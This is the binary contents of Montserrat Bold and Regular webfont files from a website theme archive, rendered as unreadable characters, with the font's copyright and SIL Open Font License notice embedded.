+��!+��
$9��$9��$901    462"$462"^�{��N��j�f�����XXX3XXX�v��X���X������XXXXXXXb�T�	7			bH���CF���D������MJ���M������N��^�=q#i�+��+���$/�ֱ��"+��%+��9�"�$9��99��99��#$9��901!27!!"'!&&#"32'^�>bk`#����N��PRj�ߕ��H�o/'����s�;���d�ĺ��X�GbJ��k�
�hu����f�C�+�
�+�	3�/�ֱ��+��+��9��
$901! 65! %!�?��?�����<��w!���Ǭ����Pʇ�����f�C�+�
�+�	3�/�ֱ��+��+��
$9��901! 65! 	
�?��?�����=��w!���Ǭ����P�k�����fjJ�+�
�+�	3�/�ֱ��+��+��9��
$9��901! 65! !#'�?��?��������w!���Ǭ����P�C�������f^k�+�
�+�	3�/�3�
�2� /�ֱ�+���+��+��/��!+��99��
9901! 65! 462"$462"�?��?����XXX3XXXw!���Ǭ����PEXXXXXXX���4�+�+�3�
/�ֱ�+��
999��901!	!!
[55Z���=���������5�k���!�K�+�+�

+�
�
+���/�ֱ�22��+��+��9013!3 !#3264&+�@�������¤�������������f��)w�+�3��/� �%/���*/�ֱ)�)�+��# ���#
+�@#	+�2�++�#)�99��9��99� �9�%�901347>7632!#3254#"5>4&#"�)O5{�u�k#9�yy��Z��+F��NTwb��r3'`;X<hw��'�}�����}�m���LV��9P"�+�+��
+��!

+���#/�ֱ��+�2���
�/�$+��
999��999��9��9��
9�
�90166;54#"'62!5$%!26=#"V���P�>�����w��:<�ۜX�}���R��?/Ǟ��B��ه����;?dT5V��9N"~�+�+��
+��

+���#/�ֱ��+�2���
�/�$+��
99�� "$9��!9��9��
9�
�90166;54#"'62!5$26=#"
V���P�>�����w��GX�}��=��R��?/Ǟ��B��v;?dT5
k��V��9'%��+�+� �
+��$

+���&/�ֱ��"+�2���
�/�'+��
999�"�$9��9��99��9��
9�
�90166;54#"'62!5$!#'26=#"V���P�>�����w������1X�}���R��?/Ǟ��B���D������;?dT5V��9-'0��+�+�+�
+��/

+��"/�3��%"+��2�1/�ֱ(�(�' ��+�/�'+�(�+�
� ��-33�+�2+�'�
9��"%*+$9�/�99��9��
9�
�90166;54#"'62!5$463232'3#"&#"26=#"V���P�>�����w��}�hB�?مh?�?X�}���R��?/Ǟ��B���qk��qk��;?dT5V��9&.��+�+�!�
+��%

+��/�-3�
�)2�//�ֱ�+��/���#+�2��( ��,��
�/�0+��
 99�(�!99�#�).99�,�9�%�99��9��
9�
�90166;54#"'62!5$462"26=#"462"V���P�>�����w��:XXX)X�}��
XXX�R��?/Ǟ��B��XXXX�v;?dT5oXXXV��9{&.��+�+��
+��

+��&/�*+�./�"+�//�ֱ�� +�(
+�(�+�2��, ��$
+��
�/�0+�( �!&999�,�99��"%99�$�9��99��9��
9�
�9�*&�$990166;54#"'62!5$26=#"462"6264&"V���P�>�����w��GX�}�������+9++9�R��?/Ǟ��B��v;?dT5m������9++9+R��)a!*0p�+�3�%�2�+�
3��.2�)
+�3��+2�1/�ֱ#�2+�#�	
999�%�99�)�99��9��	9901!354#"'6 6!327%"''"&$26=#"%!."R������y��+��Z�}���엞���5X�}�ZT�n��^N�Dzrs���\l�������u?dT�X^bT�o`&g�+�
�/���'/�ֱ
�
� +��(+�
�9� �#$$9��
$9��9�
�$9��901432.#"327"'7264&"7&TZ�w�\�5�Ly��u�z���7���hN-E'1C'T��%�=b`�?F��蜚ͬ'g-nX�A�'%8+�)'T���PA�+�
�+��
+���/�+�
�
9��99��901 !327 %!!."TN�>���e�h���
�;�܎���%3���Zrl��ه����bjnT���NA�+�
�+��
+���/�+�
�
9��99��901 !327 !."
TN�>���e�h���
���&=��%3���Zrl���bjn�k��T���'A�+�
�+��
+���/�+�
�
9��99��901 !327 !#'!."TN�>���e�h���
����B���%3���Zrl���D������bjnT���%z�+�
�+��
+��/�$3�
� 2�&/�ֱ��+�#�'+��$9��
9�#�$9�
�99��901 !327 462"!."462"TN�>���e�h���
sXXX
���XXX%3���Zrl��XXXX��bjnTXXX���P*�+�+�/�ֱ�2�	+��9901%!!y<��4ɇ���N����N)�+�+�/�ֱ�	+��999013!	
�4��=��N���k�����'
*�+�+�/�ֱ
�+�
�$901!#'!T�.�瘖4�D�����N�����i�+�	+�/�3�
�2�/�ֱ�+��/��
+��+��99��99�
�99��9901462"!462"1XXXj4kXXXHXXX�N��HXXXZ��o c�+�� /���!/�ֱ��+��"+��	
$9��
$9��99� �999��90132&''7&/77 264&"Z'�5))V���$L�V7���D��'w�xz��3^r�u@�F2j�p�������Zɏ�ɏ��-"��+�3�+�+��/�3�� +��2�#/�ֱ�2��" ��+�/�"+��	+�� ��+�$+�"� $9��9��9013!6 !4#"463232'3#"&#"�4�\�̺\���iB�?مi?�?N{���bo�����㚰qk��qkR���PS�+��+���/�ֱ
�
�+��+�
�9��	
$9��$901  %!26&"RL�L����;�ܒ��7�I��� ��ه������R���NS�+��+���/�ֱ	�	�
+��+�
	�$9��9��$901  26&"
RL�L�����:=��7�I��� �������k��R���'Z�+��+���/�ֱ��+��+��9��
	$9��9��$901  !#'26&"RL�L�������o��7�I��� ���D��������R���-!��+��+�!�/�3��+��2�"/�ֱ�� ��+�/�+��+�� ��+�#+��99�� !$9��99�!�$901  463232'3#"&#"26&"RL�L�����hB�?مi?�?b��7�I��� ���qk��qk����R����+��+��/�3�
�2� /�ֱ�	+�
��+��+��/��!+�
	�$9��$9��$901  462"26&"462"RL�L���cXXX��XXX7�I��� ��XXXX������XXXb�F4�/�
+�/��/�
+�/�ְ2�	�2�+015!462"462"b�Zh�hh�hh�hh�N�����ii�iq�hh�hR�1�`�
+�+��� /�ֱ��+�
�!+��99��
$9�
�99�
�
$9��9014327!#"'!.#">4'RL�H;M#����-0Z��s�5:�w�o�#'�I������#N��P���
��F����PQ�+�+��+�	3�/�ֱ��+�2��+��9��999��
901!3265!!5$&%!�5�\�5��s���s;��������R�������������NQ�+�+��+�	3�/�ֱ��+�2��+��999��9��
901!3265!!5$&	
�5�\�5��s���^>��������R�����k������'X�+�+��+�	3�/�ֱ��+�2��+��9��$9��9��
901!3265!!5$&!#'�5�\�5��s���b���������R�����D�������� o�+�+��+�	3�/�3�
�2�!/�ֱ�+���+�2��+��/��"+��9��
901!3265!!5$&462"$462"�5�\�5��s����XXX3XXX������R�����uXXXXXXX�N�N+�+�3�/�
	��/�+�
�
9��9901!	!#"'73264
HH�-�u���NR+=
=��N�R���q|��LT_�k����s�
]�
+��+��/�/�/�ֱ
�22�
�+��+�
�
999�
�9��99��901!62#"'26&"�4{��=��Ӥ��ՠ��s}�o����h�9��
��N� d�+�3�/�
	�/�3�
�2�!/�ֱ��+��"+��
$9��9��9�
�
9��9901!	!#"'73264462"$462"HH�-�u���NR+=�XXX3XXXN�R���q|��LT_-XXXXXXX`��m�+�	�+��
/��/�3�	��/�ֱ��+��2�
+�@	+�@		+�@	+�+��99��9901)!!!!! ;#"`�5��7���P��P�{{��b������������}R���`%a�+�3�
�+�3��
 
+�
��&/�ֱ�'+�
�$9�
�999� �99��#$99901 6 !327 ' 26754&"!."RL����>���e�h���������������7�I�����Zrl������򪢁���bjnH+�o!�/�3�
 +�/�+��901!#'H���+D�������-H�/�3��+��2�/�ִ+��+�	+�+��$901463232'3#"&#"ۅiB�?نh?�?㚰qk��qk��b�!�������b�!�������b�!���������/����/�+015!�)������/�+�+�/�+015!�����J���	)�+�	
+�
/�ֱ�+��99014?3"J-��\Da��F��-�^7���	)�+�
+�
/�ֱ�+��	99017&>27\D`�`-���-�_[�F�7�;�D	'�/�
+�
/�ֱ�+��	99017&>27\D`�`-���-�_[�F�J�/�	H�+�
3�	
+�2�/�ֱ��+��+��99��9��
99014?3"$4?3"J-��\Da�-��\Da��F��-�^Z�F��-�^7��	H�+�3�
+�
2�/�ֱ��
+��+��	99�
�
9��99017&>237&>27\D`�`-��\D`�a-���-�_[�F��-�_[�F�7�;D	F�/�
3�
+�2�/�ֱ��
+��+��	99�
�
9��99017&>237&>27\D`�`-��\D`�a-���-�_[�F��-�_[�F��m��.�/�
+�
+�/�ִ+�+�	+01462"�����u��'VK�+�33�
+�
22�+�
+�/�ֱ��	+�
�
�+��+016462"$462"$462"uh�hh�<h�hh�=i�ii�V�hh�hh�hh�hh�hh�hb{�o�/�ִ+�+01!!b�5����y����w{�o!�/�ְ2�+�+��9017!w��5��{{y����^����'��$+�
�+�
�$
+�3�+�2�$
+�3�+�2�(/�ֱ�
+�@	+�2�
+�@	+�2�)+��'99�� 9��90153&47#5363 &#"!!!!327#"'^���=Z�3ܷ���X���-1�fˁ�o�ߏ�?�S����ӬR�`f�с��7D���+�	33�
+�22�+�
+�+��2�/�ִ+�
+�@	+�
+�@	+��+�+��+�+�+��
99��99015!##!!##�����������r��ra�Q����y��5RR1!RR��J ��+�3�+�33��2�/�
+�2��
��!/�ְ2��
2�
+�@	+�
+�@	+��+� �+��"+��9��99� �$9�
�999��9990153546 &"!!!462"!J��F�oDQ/>
�����i�ii�N3f�C��{�NCBI��f��hh�h�ZN��J�z�+�3�/�3��2�/�+�
��/�ְ2��
2�
+�@	+�
+�@	+��+��+��9��99�
�9��90153546 &"!!!!J��F�oDQ/>
�����3f�C��{�NCBI��f���BmR�d_<��l�l���-����V���y-��D����v��ZJ���`��\�3�q�b`m��Ms�7�s9?�^�J�J�d
s�`"ojz����T�f��1H b������Z&�;���^���r5���������^j��^��J�9����&�����r^���9�R�-��f�VS��RST�T7JVV�Vw�����V����1RS�STI�(7�J��7��lV�L5��dG3���^ws�FZ��f?��h�h�b�����h�ql`�b�y|hf-��Fb}?bR$d�w�JJ5P5j������������������/���Z;�;�;�;������������E5���^�^�^�^�^�b�^������z�-��V�V�V�V�V�V|R�T�T�T�T�TV��V�V��V���Z�/R/R/R/R/R�b/R�����S��V`GR�H��������CC��k������X����J�7�7fJf7f7���u�bw� ^��Q�JJ,,,,,,f�x��&Pz��,Vf��0��6��n�Vl��		�

r
�
�2h��Z���
4
�
�6��$b���"P~���
*��>��>��:���<��$~�r��:l��0J���"l�@��P��������4��� @ ~ � �!!`!~""�#0#�#�$"$b$�%:%�%�&h&�&�'N'�'�((D(�))z)�***�++�+�, ,l,�-
-x-�-�.t.�/h/�0�1,1�2\2�3"3v3�4L4x4�4�5.5�66l6�7 7�8"8`8�99n9�:4:v:�;:;�<<4<v<v<v<v<v<v<v<v<v<v<v<v<�<�<�<�<�<�=(=R=�=�>*>T>�>�>�>�>�?d?�?�@h@��4G�	�	�	�	D�	>	\	v	^�	"�		"	
 6	4V	��	�0�Copyright (c) 2011-2012, Julieta Ulanovsky (julieta.ulanovsky@gmail.com), with Reserved Font Names 'Montserrat'MontserratBoldJulietaUlanovsky: Montserrat: 2010Montserrat BoldVersion 2.001Montserrat-BoldMontserrat is a trademark of Julieta Ulanovsky.Julieta UlanovskyJulieta UlanovskyThis Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLWebfont 1.0Wed Nov 13 04:14:20 2013�gf�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a����������������	�
�������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~���������
�������������glyph1glyph2glyph3uni000Duni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouniE000uniFB01uniFB02�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E�+�+D� E� +�+D� E��+�+D� E��+�+D�	 E�+�+D�
 E�	�+�+D� E�+D� E�+�Fv+D�
 E�+�Fv+D� E�
7+�Fv+D� E�(+�Fv+D� E� +�Fv+D� E�~+�Fv+D� E�+�Fv+D� E�+�Fv+DY�+R�B�PK!z�ќ���@bluetheme/assets/fonts/Montserrat/montserrat-regular-webfont.ttfnu&1i�0FFTMeս�<GDEFX GPOS���Fx�GSUBl�t�< OS/2�RjM\`cmapqm,K��cvt �O�.fpgmS�/��egasp0glyf��m8� head�1��X6hhea����$hmtx�^U���loca�x���X�maxpt�, namet��L�post�����prepf�����webfB�R����=����'�Ψ�m�
,latn��kernT��TZ���|������2Xn�*Pj��b�t���0���	2	�	�
P
�
�2L�2@^�
:
@
�
�
�8���<v�T������.����4Z�����&9��;��<��>����������j����&��/��T����������
������������4��8��F��K��O�S��T��X��Y��Z��[��\��`�������
&��/��T��[^�����B��������������&��/��8��9��;��<��=��>��?��K��Y��]��_���������������4��9��:��;��<��>��K��Y��[��\��^������������������&��/��4��8��F��K��S��T��X��Z��[��\��]��_����y����������&��A��B����{����
��������9��;��>��A��B��t������
���y����&��;>!f��{���������A��B��������&��A��B��	��9��;��<��>��Y��[��^����9��;��<��>����������������$��4��9��:��;��<��>��A��B��K��T��Y��Z��[��\��^��r��������������&��/��9��;��<��=��>��A��B��K��X��Y��[��\��]��^��_��	��4��8��S��T��X��Z���/���4��K��T��Y��Z���������&��/��F��K��S��T��X��Y��Z��]��_�������������+���
��&��9��;��=��>��B��K��Y��[��\��]��^��F��K��M��Q��S��T��X��Y��Z��_���������&��/��F��K��M��Q��S��T��X��Y��Z��]��_����������4��8��F��K��S��T��Y��Z��[��\��^��r���F�'������N�L�{��$��4��9�m:��;��<��>�yA�uK��T��Y��Z��[��\��^��r��{�h����N�N�P������&��/��9��;��<��=��>��?��A��B��F��M��N��Q��S��X��]��_��b���������������&��/��=��>��?��B��F��T��X����������B��O}b��
/��9��;��>��A��F��K��S��T��Y��Z���������&��;��>��K��S��X��Y��Z��[��\��]��^��_��#������������%��&��/��4��F�jK��M��N��Q��S��T�}X�mY��Z��[�u\�{]�w^�u_�mr���������1����B����������&��/��F��K��M��N��Q��S��T��X��Y��Z��]��_����������������
����%��&��/��4��8��F��K��S��T��X��Y��Z��]��_���������h����7�7�������������������%��&��/��4��F��S��T��X��Z��]��_���������X����1�3���������4��F��K��S��T��Y��Z��[��\��^��r���)������$��������������%��&��/��4��8��F��K��S��T��X��Y��Z��[��\��]��^��_��r���������}����-�N������/��4��K��S��T��Y��Z��[��\��^���%�������������&��4��8��F��K��O�S��T��X��Y��Z��[��\��_������!�������&4��9��:��;��<��>��Y��[��\��^���'����.��/��4��8��9��:��;��<��=��>��?��A��B��K��Y��[��\��^��b������������4��8��9�\:��;��<��>��A��B��F��T��X���������.��/��4��9��:��?������&��.��/��8��9�b:��;��<��=��>��?��A��B��K��Y��[��]��^��b����������������&��/��9';^<N=!>uBF��T��X��������%�d������9O!��4��9�{:��;��>��F��T��X���������.��/��4��9��:��?��{�j����.��/��4��8��9��:��;��<��=��>��?��A��B��K��Y��[��\��^��b����������������$��&��.��/��8��9�}:��;��<��=��>��?��A��B��K��Y��[��\��]��^��_��b�����������Ow������������&��/��9�u=��>��?��B��F��T��b����������������&��.��4��9�o:��;��<��=��>��A��B��[��]��b����	9��:��;��<��>��A��B��T������.��/��4��9��:��;��<��=��>��?��A��B������������&��/��9�u=��>��?��B��F��T��X����������������&��/��9�{=��>��?��B��F��T��X������������4��9�y:��;��>��F��T�����������������&��/��9�u=��>��?��B��F��T��X������������.��4��9�j:��;��<��>��A��B��T���������4��F��O�T��X��Z�����Oh&��/��9��=��>���������������Q�j9��;��<��>��b������&��/��9��;��<��=��>��?��A��B��]��_�����������&��.��/��4��8��9��:��;��<��=��>��?��A��B��K��Y��[��\��]��^��%AB7b!�ZT$#�H+B!b�F��������&��.��/��8��9��:��;��<��=��>��?��A��B��K��Y��[��\��]��^��_��b�����������	��&��/��4��F��T��X����{��������T�d%��&��/��4��F��T��X��r����{�����9��;��<��>����/��9��;��<��=��>��?��K��X��Y��[��\��]��^��_��&��/�������
%(*,.14AFF,HK-NQ1ST5Vb7rrDttE{{F��G��H��I��K��O��Q��S
latn����3��3��fs�/@ Jpyrs@
�f�fu( B� ��* 

~�S�� 
    " & / : _ �!"����
 �R��     " & / 9 _ �!"���������r���������������8�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abc��������������������������������tfgk�z�rm�xl��uiyn~���epo�d����������ٻ������{�������������������s|=������������#������D�,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��DdU.�/<��2��<��2�/<��2��<��23!%!!D �$��hU��D������
6�+�+�	+�/�ְ2���
2�+�	�9016462"!#�Z}ZZ}R=�J}ZZ}Z������`�B�+�3�	+�2�+�	+�/�ִ+��+�+�	+01333���������X��;�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ֱ��+���+���+��!+�6�?�+
�?�M+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@0173#733!33#3##!#%!!X-�;�-�<�;-;�?�-�;�.�:�9��9�9
->��H�T�\��\����H��H�TL�m�"(��+�	3��!2�
+�@
	+�/�3��#2�
+�@	+�/�)/�ֱ��+�	 222�+�#222��&+��*+��9�&�99��99�� %($9��"999��901?.6753&'3#5$>4&'L�����ǃ�Ʌ����у��TRs]�bsZ{Ზ�7�b�
fh��`�7����
��I�P%c�
_�T%Z����#��+�+�+�	+�+��#
+�#�
+���$/�ֱ
�
�+���+���!+��%+�
�9��99��99�!�	9�#�$9��$9016  !264&"6  264&"Z�����}��}EeAFd-�	����EeAEe��������h�{TT{T������}{TT{Td��`�#,r�+��+�,��-/�ֱ�+�%��)+�
	�.+�%�99�)�"$9�
� 999��99�,�
"'$9014%.546 67'!"$7 7&'654&"dPTC�H��f?#�5DR����������y�7D�l���`{^����˴�j^}w�kTw���߸\uwٔ}�s\RsbRP��=�)�+�	+�/�ִ+�+�+013�����f��d�/�ֱ�
+0173#&f�e�w��v�d����)���D��B�/�ֱ	�
+016'3Dw��v�d��e�������������}
��2�+�+�/�ְ2�+�	2�+��
99017'7'37'#7}��F���F��F����ify���wfix���b3)�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	 +�2�	

+�@		+�
	
+�@
	+�
+015!3!!#b����y�������{���)�
!�/�	+�/�ֱ��+017462#7&�Z{\7{wLT�BXX{X��'��;�"�/����/�+�+�+015!���������!/�+�+�+�+�/�ֱ��	+016462"�XZZJXXZ9�}}39w���m��y���J�+��+���/�ֱ	�	�
+��+�
	�$9��$901    y#I#���:�i��������m�\�m� ��%�%;D�,�+�+���/�ֱ�
+�@	+�+015!#;	���h�fJ�N�+�	�+���/�ֱ�
+�@	+�
+�@	+�+�	�
9��$901> !!5>4&#"f^�fs�����-��{�d�u�����oȞ��������y�P��+�G�+��+�
��/�ֱ�+��99��9�
�999��901?3264&#"5!5! Pf��}���PJL��E�����-��{t܃��׽�}��LD�e�
+�+�

+�3��
2�
+�@	+�/�
ְ2��2�
+�@
	+�

+�@
	+�+�
�9��9015!!33##L��V欬�h�[������hf��?�v�+��+��	
+���/�ֱ	�
+�@	+��+��+��
99��	$9��9�	�
$9��9901?264& '!!632# f�8�ͨ���{f7��Zs�"���߰�-L{�Cn���1�b��{����u�+��+�
�
+��� /�ֱ
�
��+��!+��
$9��99��999��
99�
�9��90176 .#">32# 264&"{^R�Ѽy/�=��3�u������ ���'V���)A���9e��X��3۝�ۚ^N�G�+�+��
+�@	+�	/�ֱ	�
+�@	+�
+��9��901!!!^��P����?��u������+��+��
+��� /�ֱ�� ��	�/�	��+�� ��	�!+��9��
$9��	9��99��	99��$90147&$  $264&"264&"uϚ����!���ռ�吚љ����J������2�xx�{�}}�{h��{�{�+��+��
+��� /�ֱ	��+�
���/�!+��
99��
$9��9��
9��99��999013  '7327#"264&"h�X�J^R��/�y/�=��3�u�(�������Ͱ�E��V���)A�9eJݘ�ܝ����3�+�+�/�+�/�ְ2��2��+016462"462"�Y~[[~YY~[[~JXXZOYYZ��)�
'�/�+�/�ְ2��2��+017462#7&462"�Z}\8}vKSXZZ�BXXw^��+YYZ\�!m\�/�������{��9�/��/���/�	+015!5!{����������`m7555��/���NF�A��J����#}�#+�+�+��
+�@	+�$/�ֱ��+��+�!��+��%+��9�!�999��"#$9��9901> #546?64&"462"J�l�D')C/%�'B�/b�h\�_]�1��Ƴ{Q1)@/-R]}RPB�3�d`P�}ZX}Zh���b+3��*/�$+�
/�3�/�+�
+�@	+�3/�� /�+�4/�ִ"+�"�+�-�-�+�02���+�/��+�+�5+�-�9��
 $*/2$9��&'$9��9�
$�&'99�/�9�3�!"$9��99016 #"&'#"32533265 !27#  6&"h��٨�dws�����^�%�q?i�t���J�1��-H�q��4��������������'cC��5���H�J���h{L=L�������
,�+�3�+�
+���/�+��
9011!!!!ww����3������hF��%N�=�#g�+��+�#�
+���$/�ֱ�2��+��� ��
�/�
�%+��9��9��9013!2!%!2654)5! 54&#!�-��3bk'$��fy��{�����4����F;o��R���r��Tu��fZj����4�+�
�+���/�ֱ
�+�
�$901 .#"3267 j���f�{��%�}�b��w����bN��L��T\�����:�+��+���/�ֱ��+��+��99013! !'! $5!"+�����n�c�
�������d�{������J�+�	�+��
+���/�ֱ	�2�	
+�@		+�@		+�@		+�
+013!!!!!����R��������	@�+�+��
+���
/�ֱ	�2�	
+�@		+�@		+�+013!!!!���9{����w��j����p�+�
�

+�@
	+�+��+�/�ֱ
��+��+��$9��99�
�9��
999��901 .#" 73! j�j́T�q�������������H7��8��X����q�?�+�3�+�3�

+�
��/�ֱ�2��+�2��
+0133!3#!�����9���m�hJ�����!�+�+�/�ֱ��+0133����h?����>�+��	+���/�ֱ�
+�@	+�+��9��901?3265!5!#"?���^��:��������O�����0�+�3�+�3�/�ֱ�2�
+��	990133!	!���3��H��%���E�����s�o�F�,�+��+�/�ֱ�
+�@	+�+0133!�����M���B�+�3�+�3�
/�ֱ��+��+��99��99013!	!##�x��w�����|��h^�����	F�+�3�+�3�
/�ֱ	�	�+��+�	�9��9��9901333!��@�����.�h��j��N�J�+��+���/�ֱ	�	�
+��+�
	�$9��$901    j���N���%�%��V�x��X���X��P��/�/�#�	D�+�+��

+���/�ֱ	�
2�	�+��+�
�99013! !#!26&+��F+���ɑ�������\�)zj����h�+��+��/�
��/�ֱ��+��+��
$9��
9�
�9��
99��99901 3267"&'   j�����FjN�'����1���%�%��V�x��X���R\RA������P��/�/��[�+�3�+��

+���/�ֱ�
2��+��+��
99��	9�
�9��9013! !!!26&#!�H��w�����-͔������]����hR����d�+��+���/�ֱ
��+�
� +��9��$9��999��$9��9901?3264&$&'&$32."# R���u���Ť@!Չb�?�Ӈ�����׶�d�\L@3`��ZR�9JV�\k����?��:�+�+��2�/�ֱ�
+�@	+�
+�@	+�	+015!!#?W�M����F����q�9�+��+�	3�/�ֱ��+��+��
99013 653 ���P���u#����������M��!�+�+�3�/�+��901!	!!���������.�hJ�
u�
+�	33�+�333�/�+�6�= �+
�.����������+
�	.�
������
....�	
........�@01!	3	!###h@�?i������������h�+D�
&�+�	3�+�3�/�+��99013	!3!	!#�8+?
@+�7���
������G�!�����0�+�+�3�	/�ֱ�
+��9��901!	!#������t�����5`��4�+�	�+���/�
+�	�9��99��901355!5!!`B��w��L��޽�
�����>�/�+�/�+�/�ִ	+�2� +�	+�2�	+01!!!�����-��+�9��+�/�+013#9�����T��#G�/�+�/�+�/�ְ2�	+�� +�/��	+�/�	+01!!5!!T���1sլ��-��/!�/�3�
+�/�+��9013#'-������?�������3�Z�/�+�+�/�+01!!���`�u��R� �/�+�/�ִ	+�+017#�����e��T��R y�+�+��+��
+�+�!/�ֱ��+�2����/�"+��	
99��$9��9��	9��
901663!54#"'632#5#"#"26=!"T��)�f���ц��{ۤ����B�)�n����B��fPT|h\����d�+�	+��+��
+�@	+�/�ֱ�22��+��+��$9��
9��99901336  ' 6& ���7��d���������Ŵ������9�^��TR>�+��+���/�ֱ	�+��
9��$9��901 &  7!"^V쪇�����2�����%�9��{���Ћ��`����h�+�+��+��
+�@	+�/�ֱ��+�22��+��$9��	9��99��901 3#5#" 6& `<������M�����'�/�V�������7�`���Rk�+�
�+��
+���/�ֱ�2��+��+��
$9��
99�
�
9��99��901 !327!"!4&"`H�8��Ɂ�j�����\p���!/���w��������RH`�+�+�
3��2�
/���/�ְ2��2�
+�@	+�
+�@	+�+��9�
�9��90153546 &"!!#R��%y_D�Q�����T��l�H\NZ��w�b�J�R r�+�+� �
/��/���!/�ֱ��+�2��"+��99��	
$9��9��9� 
�99��901 53 '7323>=#" 6& b�����m����3�w�5�����`�/���I���y���`s���ü����M�+�
3�+��
+�@	+�/�ֱ�2��+�
�+��9��90133>32##"��1�s���w��ds��dV-������B�+�	+�/�+�/�ֱ��+��
+��$901462"3�VwVVw9�FvVVvV�B����N�Y�	+�/��/�+�/�ֱ��+��/��+��
$9��9�	�9017323>53 462"�jEFFJ����VwVVw���DZPu�����vVVvV���-�+�3�+�/�ֱ�2�
+��	990133!	!���'�b������O�oݨ������+�/�ֱ��+0133�����Rh�+�33�+�
+�3��2�/�ֱ�2��+���+�� +��9��9��
9��990133>3 632##"#4&"��1�s\����u��o�B�ds����dV-����V��������RG�+�
3�+�+���/�ֱ�2��+�
�+��9��90133>32##"��7�q���w�B�ds��dV-����^���RJ�+��+���/�ֱ	�	�
+��+�
	�$9��$901   6& ^H�H���b�+���5�F���)������;���sR\�	+��+�+��/�/�ֱ�22��+��+��$9�	�
9��9990136  ' 6& ���7��d�����sϿ���Ŵ��G����9�`�s�R\�+��+�+��/�/�ֱ
�
�+�22��+�
�$9��	9��99901 53#  6& `8����eP�����+�/Ͽ�11�����7���R
1�+�+�+�	��/�ֱ
�2�+�	�90133>7"#"��7�k��B�f��ݺ�-D���R#��!+��+���$/�ֱ	��+��%+�6��`��+
���������+�
+��+� � �#9�
9�9�
.....�
.....�@��9��!999��999�!�99��$9��901?2654'&'$546 &#"#"$Dn��NZ�	���x�V��Rg6%�f`7o�w����H7RB\ט�o�X;;5!!)%J�ɺVR��H�]�+�3��+�+�3��2�/�ְ2�	�2�	
+�@		+�	
+�@	+�+��9��
901533!!27#0'"&5R����Q�C_x�����V�����N\H�mʬ#����BG�+�+��+�	3�/�ֱ��+�2��+��9��
90132653#5#"&��w���7�q����������N���ds��B!�+�+�3�/�+��9013	3!�LL�J��B��8��%'BY�+�3�+�333�
/�ֱ�+�6�<��+
�������.�..�@��
99013	3	3!	!%�����������B��8��8���'PB&�+�3�+�3�/�
+��
99013	!!	!'�����������+��g���j���N�B+�+�3�/�
��/�+�
�
9��99013	3#"'72654�FE���/�j�xhH�aB��#��j{l�DoAZ�=	(�+��+���
/�+��990135!5!!ZT��T�������X�R��Fg�/��/��/��� /�ְ2��2�
+�@	+�	2�
+�@	+�!+��9��99��9��990153265!3&#"3# 4&#R151F
��<TF��15�9F��u�D���5*��D7���\B�/�ִ+�+�+013����{��j��^ g� /��/��
/���!/�ְ2��2�
+�@	+�
+�@ 	+�2�"+��9��99��9�
�990126547&54&+53 ;#"!#jT<��D %F151151��Fm)6���?8���VF9�8C�E��fj�a�/��	2�+�
�2�/�ִ +��	+�
 +�+��9�	�
99�
�9�
�9��
901>3227#"'&#"f�u\�f1R��uX�f1R���T5�4��W5������
9�+�+�+�/�ֱ
�+�
�$9��
901462"3�Z}ZZ}R=�;�}ZZ}Z�m���d�Z?x�+�3��2�
+�@	+�+�3��2�
+�@	+�/�ֱ��+�22�+�22�+��9��	$9��901753&'67#5&dу疇}y�y��݃�7�uq7�-����j
�J{��������y��_�+��2�/�3��2�/���/�ְ2��2�
+�@	+�@	+�
+�@	+�+��	990153463 &#"!!!!53y�����T�b�V��b��L���懋p}������u{���z�+�3�/��/�	�� /�ֱ��+��!+��$9��
$9��
$9��$9��
$9�	�
$901?&7'76 7' ' 6& {�mh����d����ho��������������z����Z\����������VV�1���/�Hw�v�+�+�3�
+�3��
2�
+�3��2�/�ְ2�
�
2�
+�@
	+�2�
+�@	+�2�+��99��901!3!!!!!!5!5!5'!5!H���V����}��{�����n��I�o����o����{�/�ְ2��2��	+0133����1��b���ch����(4��/�"�
/���5/�ֱ)� ��	�)�/+��� ��$	�$/�	�6+�� '999�$�
",23$9��
$9�
"� ,2$9��
901467&632&#"# '73254&$&73264&'&"h�x�ﻅ�iu��^lv�у�^^�����ۉ�q��j�^J���b�BG�BL�qV�Rd��f�!#�L��ɜ��BVt��`Z�V+PT���5�/�3�)+�
2�)+�/�ֱ
��	+�

�+01462"$462"TJhJLh3JhJJhhJHhLJhJHhLo��9���+�+�/�+�/�+�/�+� /�ִ	+�	�+�+��
+�+�!+��
$9�
�$9��	$9��$9��
$901    6 &"27o�f��N����u {����{�lubjΙ��_b����b��N���I���}��l�zyZ�ܗdj�y�7�{�+�+�/�+�/�+�/�ִ+��+�22�+�+��	999��99��99��9��9��	9014;54#"'62#5"&726=#"yˋqDM/Zh�`?�hj:dLwsV�d3DH���DLZL%'</+s��T3#3#s����ޢ������h����ih��������3�/��
+�@	+�/�ִ+�
